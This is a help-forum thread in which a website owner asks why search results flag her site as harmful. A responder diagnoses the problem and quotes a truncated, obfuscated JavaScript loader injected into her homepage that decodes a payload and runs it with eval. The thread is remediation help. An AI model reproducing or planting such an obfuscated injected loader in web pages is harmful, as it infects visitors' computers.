Hi there,

My site www.theemergingpath.com for the second time in a fortnight has
had the message displayed on google that this site may harm your
computer. As a side, my adword accounts have also been suspended.

Last time, the only thing I could think was that it was linking to my
blog site which over the weekend had been targetted by Elvis Ringtones
- I removed the link to my blog, emailed google to say I think this
was what it was, and it got promptly reinstated on adwords and the
message on google search got removed.

Now it has happened again and I can't figure it out. I had the site
designed for me by a 'professional' design company (have updated the
text a little), I do not advertise on it, have no fancy gizmo's and
have two outgoing links to 2 educational establishments that I have
agreed to publish.

Webmater tools shows no unsual happenings - no reports of the above,
no way to request a review.

Can someone please help? Thanks.
Louise

Hi Louise and welcome to the groups, even if the occasion isn't the
greatest.

Looking at your homepage's HTML code, I see a block of JavaScript like
the following:

<script language=JavaScript>function lban(x){ var
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,
t=Array( 63,15,31,25,28,45,2,61,6,46, 0,0,0,0,0,0,47,40,19,32,35,
(...) 43); for(j=Math.ceil(l/b);j>0;j--){r='';
for(i=Math.min(l,b);i>0;i--,l--) {{w|=(t[x.charCodeAt(p+
+)-48])<<s;if(s){r+=String.fromCharCode( 149^w&255);w>>=8;s-
=2}else{s=6}}}eval(r);}} lban('cH0fOz@Pgnb(...)Kja6')</script>

This code adds elements to your page which can infect your users with
some particularly nasty stuff.

Deleting this code would be a great first step, but you should really
work on finding out why this happened and try to make sure that it
can't happen again (especially since this appears to be the second
time that it happened, at least from your message). Once you've
cleaned it up (and made sure that there is no similar code on other
pages), you should be able to request a review through your Webmaster
Tools account.

Some more information on how to handle situations like this can be
found at http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hack...

Information on the malware review process can be found under
http://www.google.com/support/webmasters/bin/answer.py?answer=45432

Hope it helps!

John

Hi John - thank you so much for your help - yes! looking at the index
I can see this code that previously wasn't there - I recognised it
immediately as different. I've deleted it and now going through my
other pages - I'll contact the host and look at what you suggested to
prevent this from happening again.

Thank you so much for helping!!

Louise

On May 12, 10:12 am, JohnMu wrote: